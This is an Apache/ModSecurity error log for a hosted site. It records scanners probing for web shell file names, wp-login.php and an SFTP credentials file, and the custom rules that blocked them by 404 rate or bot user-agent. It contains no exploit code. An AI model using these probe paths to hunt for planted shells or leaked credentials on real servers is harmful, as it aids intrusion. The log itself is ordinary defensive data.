[Sat Mar 28 07:57:56.866613 2026] [:error] [pid 43579:tid 43609] [client 20.220.9.32:27344] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/nw.php"] [unique_id "accZhCRqN4JVI8gB7AmWwgAAAoE"]
[Sat Mar 28 07:57:58.312016 2026] [:error] [pid 64861:tid 64956] [client 20.220.9.32:27608] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/nw.php"] [unique_id "accZhuxK22_lUN2kvnVvugAAAJU"]
[Sat Mar 28 07:58:01.127776 2026] [:error] [pid 64860:tid 64909] [client 20.220.9.32:27346] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/nw.php"] [unique_id "accZiRkU3N0pg_4aEL_nnQAAAEE"]
[Sat Mar 28 07:58:02.548915 2026] [:error] [pid 34597:tid 34617] [client 20.220.9.32:27534] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/jga.php"] [unique_id "accZioluI7-e5s1cafcm-AAAAVA"]
[Sat Mar 28 07:58:03.996314 2026] [:error] [pid 64861:tid 64942] [client 20.220.9.32:27274] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/jga.php"] [unique_id "accZi-xK22_lUN2kvnVvvQAAAIc"]
[Sat Mar 28 07:58:05.416540 2026] [:error] [pid 43579:tid 43619] [client 20.220.9.32:27406] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/jga.php"] [unique_id "accZjSRqN4JVI8gB7AmWyAAAAos"]
[Sat Mar 28 07:58:06.838315 2026] [:error] [pid 34631:tid 34677] [client 20.220.9.32:27438] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/jga.php"] [unique_id "accZjjtzjMMS6kojpeQ4lQAAAdE"]
[Sat Mar 28 07:58:11.475958 2026] [:error] [pid 43547:tid 43554] [client 20.220.9.32:27355] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wtiiy.php"] [unique_id "accZkz4ZEfdetXP-9aC1lAAAAgU"]
[Sat Mar 28 07:58:12.927929 2026] [:error] [pid 64860:tid 64923] [client 20.220.9.32:27480] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wtiiy.php"] [unique_id "accZlBkU3N0pg_4aEL_nqgAAAE8"]
[Sat Mar 28 07:58:14.355404 2026] [:error] [pid 64861:tid 64941] [client 20.220.9.32:27341] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wtiiy.php"] [unique_id "accZluxK22_lUN2kvnVv0QAAAIY"]
[Sat Mar 28 07:58:15.779518 2026] [:error] [pid 64861:tid 64959] [client 20.220.9.32:27376] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wtiiy.php"] [unique_id "accZl-xK22_lUN2kvnVv1wAAAJg"]
[Sat Mar 28 07:58:17.685000 2026] [:error] [pid 64860:tid 64925] [client 20.220.9.32:27529] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/byypas.php"] [unique_id "accZmRkU3N0pg_4aEL_nsgAAAFE"]
[Sat Mar 28 07:58:19.120809 2026] [:error] [pid 64861:tid 64947] [client 20.220.9.32:27576] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/byypas.php"] [unique_id "accZm-xK22_lUN2kvnVv5QAAAIw"]
[Sat Mar 28 07:58:20.556010 2026] [:error] [pid 34631:tid 34670] [client 20.220.9.32:27537] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/byypas.php"] [unique_id "accZnDtzjMMS6kojpeQ4qQAAAco"]
[Sat Mar 28 07:58:21.973936 2026] [:error] [pid 64860:tid 64930] [client 20.220.9.32:27449] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/byypas.php"] [unique_id "accZnRkU3N0pg_4aEL_nxQAAAFY"]
[Sat Mar 28 07:58:23.396974 2026] [:error] [pid 64860:tid 64926] [client 20.220.9.32:27526] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-png.php"] [unique_id "accZnxkU3N0pg_4aEL_nyQAAAFI"]
[Sat Mar 28 07:58:24.817697 2026] [:error] [pid 34631:tid 34673] [client 20.220.9.32:27644] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-png.php"] [unique_id "accZoDtzjMMS6kojpeQ4qwAAAc0"]
[Sat Mar 28 07:58:26.245191 2026] [:error] [pid 34597:tid 34620] [client 20.220.9.32:27440] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-png.php
[Sat Mar 28 09:25:47.554994 2026] [:error] [pid 34631:tid 34684] [client 2.58.56.116:53939] [client 2.58.56.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/"] [unique_id "accuGztzjMMS6kojpeRTvQAAAdg"]
[Sat Mar 28 09:25:48.052436 2026] [:error] [pid 34597:tid 34624] [client 2.58.56.116:54650] [client 2.58.56.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/"] [unique_id "accuHIluI7-e5s1cafc6wQAAAVc"]
[Sat Mar 28 09:25:48.563976 2026] [:error] [pid 34631:tid 34674] [client 2.58.56.116:55223] [client 2.58.56.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/"] [unique_id "accuHDtzjMMS6kojpeRTxgAAAc4"]
[Sat Mar 28 09:25:49.067249 2026] [:error] [pid 64859:tid 64895] [client 2.58.56.116:55729] [client 2.58.56.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/"] [unique_id "accuHW3qEBHXq3rHdBm5CwAAAA4"]
[Sat Mar 28 09:25:49.571375 2026] [:error] [pid 43547:tid 43564] [client 2.58.56.116:56120] [client 2.58.56.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/"] [unique_id "accuHT4ZEfdetXP-9aC9KgAAAg8"]
[Sat Mar 28 21:36:24.384545 2026] [:error] [pid 64859:tid 64898] [client 104.28.161.186:52877] [client 104.28.161.186] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/style.php"] [unique_id "acfZWG3qEBHXq3rHdBldRgAAABE"]
[Sat Mar 28 23:36:41.525966 2026] [:error] [pid 64861:tid 64942] [client 45.94.31.49:53070] [client 45.94.31.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/"] [unique_id "acf1iexK22_lUN2kvnWz2QAAAIc"]
[Sat Mar 28 23:36:42.240335 2026] [:error] [pid 43578:tid 43602] [client 45.94.31.49:58252] [client 45.94.31.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/"] [unique_id "acf1inNG2YdGm41aN8I39QAAAlU"]
[Sat Mar 28 23:36:43.147514 2026] [:error] [pid 34597:tid 34606] [client 45.94.31.49:64837] [client 45.94.31.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/"] [unique_id "acf1i4luI7-e5s1cafe1HAAAAUU"]
[Sat Mar 28 23:36:43.968504 2026] [:error] [pid 34631:tid 34667] [client 45.94.31.49:62612] [client 45.94.31.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/"] [unique_id "acf1iztzjMMS6kojpeSEdwAAAcc"]
[Sat Mar 28 23:36:44.788092 2026] [:error] [pid 43578:tid 43583] [client 45.94.31.49:62360] [client 45.94.31.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/"] [unique_id "acf1jHNG2YdGm41aN8I4FwAAAkI"]
[Sun Mar 29 02:54:53.405718 2026] [:error] [pid 39429:tid 39486] [client 217.216.37.56:64440] [client 217.216.37.56] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/"] [unique_id "acgj_U8pSj6sqgZaItnwYQAAAIA"]
[Sun Mar 29 02:54:53.617740 2026] [:error] [pid 11588:tid 11606] [client 217.216.37.56:61398] [client 217.216.37.56] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/buttons.css"] [unique_id "acgj_QhH5525WHuzKfpn5AAAAVA"]
[Sun Mar 29 02:54:53.830088 2026] [:error] [pid 11588:tid 11608] [client 217.216.37.56:63872] [client 217.216.37.56] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/media/system/js/core.js"] [unique_id "acgj_QhH5525WHuzKfpn5gAAAVI"]
[Sun Mar 29 04:23:39.052527 2026] [:error] [pid 32254:tid 32276] [client 20.197.233.108:29321] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "acg4y6ug2IHuyGgCTn8BswAAAAw"]
[Sun Mar 29 04:23:39.691757 2026] [:error] [pid 32254:tid 32273] [client 20.197.233.108:29389] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "acg4y6ug2IHuyGgCTn8BtwAAAAk"]
[Sun Mar 29 04:23:40.319372 2026] [:error] [pid 32257:tid 32334] [client 20.197.233.108:29380] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "acg4zCE3TArOFrUtgWoLeQAAAJA"]
[Sun Mar 29 04:23:40.941796 2026] [:error] [pid 32254:tid 32265] [client 20.197.233.108:29315] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "acg4zKug2IHuyGgCTn8BxgAAAAE"]
[Sun Mar 29 07:12:00.784117 2026] [:error] [pid 23168:tid 23215] [client 185.194.178.83:40617] [client 185.194.178.83] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.194.178.83, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "achgQGP8p0yRL8ot_28B6QAAAhI"]
[Sun Mar 29 07:12:00.790667 2026] [:error] [pid 23168:tid 23215] [client 185.194.178.83:40617] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Sun Mar 29 08:51:43.005322 2026] [:error] [pid 32255:tid 32297] [client 45.94.31.49:62508] [client 45.94.31.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/"] [unique_id "ach3n2nfn-AtRoMbquyRGAAAAEY"]
[Sun Mar 29 08:51:43.496024 2026] [:error] [pid 23167:tid 23175] [client 45.94.31.49:49491] [client 45.94.31.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/"] [unique_id "ach3nxIAHJCFaHff3_eYDwAAAcU"]
[Sun Mar 29 08:51:43.992880 2026] [:error] [pid 32257:tid 32335] [client 45.94.31.49:53171] [client 45.94.31.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/"] [unique_id "ach3nyE3TArOFrUtgWpj9QAAAJE"]
[Sun Mar 29 08:51:44.482937 2026] [:error] [pid 23250:tid 23261] [client 45.94.31.49:60039] [client 45.94.31.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/"] [unique_id "ach3oJxrpj-dQjy1cvpgCQAAAkk"]
[Sun Mar 29 08:51:44.972676 2026] [:error] [pid 23250:tid 23275] [client 45.94.31.49:64688] [client 45.94.31.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/"] [unique_id "ach3oJxrpj-dQjy1cvpgVwAAAlc"]
[Mon Mar 30 00:57:52.691119 2026] [:error] [pid 32359:tid 32364] [client 20.124.205.185:1548] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-plain.php, referer: www.google.com
[Mon Mar 30 00:57:52.901737 2026] [:error] [pid 32359:tid 32361] [client 20.124.205.185:1548] File does not exist: /usr/local/apache/htdocs/suspended-page/obaauqoa.php, referer: www.google.com
[Mon Mar 30 00:57:54.709607 2026] [:error] [pid 32254:tid 32284] [client 20.124.205.185:1329] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-plain.php, referer: www.google.com
[Mon Mar 30 00:57:54.922168 2026] [:error] [pid 32254:tid 32271] [client 20.124.205.185:1329] File does not exist: /usr/local/apache/htdocs/suspended-page/bzknwlqe.php, referer: www.google.com
[Mon Mar 30 01:29:09.675013 2026] [:error] [pid 32359:tid 32382] [client 172.177.76.32:5212] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-plain.php, referer: www.google.com
[Mon Mar 30 01:29:09.879017 2026] [:error] [pid 32359:tid 32361] [client 172.177.76.32:5212] File does not exist: /usr/local/apache/htdocs/suspended-page/ylzplvna.php, referer: www.google.com
[Mon Mar 30 01:29:11.241031 2026] [:error] [pid 32257:tid 32326] [client 172.177.76.32:5195] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-plain.php, referer: www.google.com
[Mon Mar 30 01:29:11.446571 2026] [:error] [pid 32257:tid 32342] [client 172.177.76.32:5195] File does not exist: /usr/local/apache/htdocs/suspended-page/kuuwnmmg.php, referer: www.google.com
[Mon Mar 30 04:45:35.947947 2026] [:error] [pid 4033:tid 4071] [client 20.124.205.185:2457] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-plain.php, referer: www.google.com
[Mon Mar 30 04:45:36.157870 2026] [:error] [pid 4033:tid 4065] [client 20.124.205.185:2457] File does not exist: /usr/local/apache/htdocs/suspended-page/ucnjrkzw.php, referer: www.google.com
[Mon Mar 30 08:28:20.936306 2026] [:error] [pid 35343:tid 35351] [client 144.172.112.102:56847] File does not exist: /usr/local/apache/htdocs/suspended-page/unzip.php
[Mon Mar 30 12:32:05.321418 2026] [:error] [pid 35250:tid 35324] [client 20.213.160.162:5258] [client 20.213.160.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/.trash7206/index.php"] [unique_id "acn8xYaKM1MR6zcp2YPBjwAAAM0"]
[Mon Mar 30 12:32:05.391188 2026] [:error] [pid 35249:tid 35301] [client 20.213.160.162:1572] [client 20.213.160.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/.trash7206/index.php"] [unique_id "acn8xSqCKiTq85d6rgAnbwAAAJE"]
[Mon Mar 30 12:32:05.460219 2026] [:error] [pid 35248:tid 35267] [client 20.213.160.162:1561] [client 20.213.160.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/.trash7206/index.php"] [unique_id "acn8xb3igMCgAQPFS_80ggAAAE0"]
[Mon Mar 30 12:32:05.543871 2026] [:error] [pid 41941:tid 41958] [client 20.213.160.162:1737] [client 20.213.160.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/.trash7206/index.php"] [unique_id "acn8xSB2g7BNCXGBOJOO3wAAAQ8"]
[Mon Mar 30 13:44:08.957827 2026] [:error] [pid 41941:tid 41947] [client 67.203.33.169:60280] [client 67.203.33.169] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/sftp-config.json"] [unique_id "acoNqCB2g7BNCXGBOJOuawAAAQQ"]
[Tue Mar 31 03:33:45.459784 2026] [:error] [pid 53197:tid 53235] [client 98.71.65.172:64384] File does not exist: /usr/local/apache/htdocs/suspended-page/vuln.php
[Tue Mar 31 03:33:45.720804 2026] [:error] [pid 53197:tid 53242] [client 98.71.65.172:64384] File does not exist: /usr/local/apache/htdocs/suspended-page/sw.php
[Tue Mar 31 03:33:45.975924 2026] [:error] [pid 53197:tid 53240] [client 98.71.65.172:64384] File does not exist: /usr/local/apache/htdocs/suspended-page/fsgdjkl.php
[Tue Mar 31 03:33:46.255709 2026] [:error] [pid 53197:tid 53238] [client 98.71.65.172:64384] File does not exist: /usr/local/apache/htdocs/suspended-page/ahutr.php
[Tue Mar 31 03:33:46.517319 2026] [:error] [pid 53197:tid 53247] [client 98.71.65.172:64384] File does not exist: /usr/local/apache/htdocs/suspended-page/y.php
[Tue Mar 31 03:33:46.821849 2026] [:error] [pid 53197:tid 53246] [client 98.71.65.172:64384] File does not exist: /usr/local/apache/htdocs/suspended-page/byrgo.php
[Tue Mar 31 03:33:47.076268 2026] [:error] [pid 53197:tid 53248] [client 98.71.65.172:64384] File does not exist: /usr/local/apache/htdocs/suspended-page/abouta.php
[Tue Mar 31 03:33:47.332303 2026] [:error] [pid 53197:tid 53241] [client 98.71.65.172:64384] File does not exist: /usr/local/apache/htdocs/suspended-page/zfe.php
[Tue Mar 31 03:33:47.598151 2026] [:error] [pid 53197:tid 53249] [client 98.71.65.172:64384] File does not exist: /usr/local/apache/htdocs/suspended-page/by.php
[Tue Mar 31 03:33:47.853218 2026] [:error] [pid 53197:tid 53251] [client 98.71.65.172:64384] File does not exist: /usr/local/apache/htdocs/suspended-page/Cap.php
[Tue Mar 31 03:33:48.113530 2026] [:error] [pid 53197:tid 53231] [client 98.71.65.172:64384] [client 98.71.65.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-asudo.php"] [unique_id "acrQHGdBhXmWgrUmTZwclAAAAEM"]
[Tue Mar 31 03:33:48.978213 2026] [:error] [pid 53198:tid 53275] [client 98.71.65.172:59745] [client 98.71.65.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-asudo.php"] [unique_id "acrQHJIIspyQOAKrL3VV6QAAAJQ"]
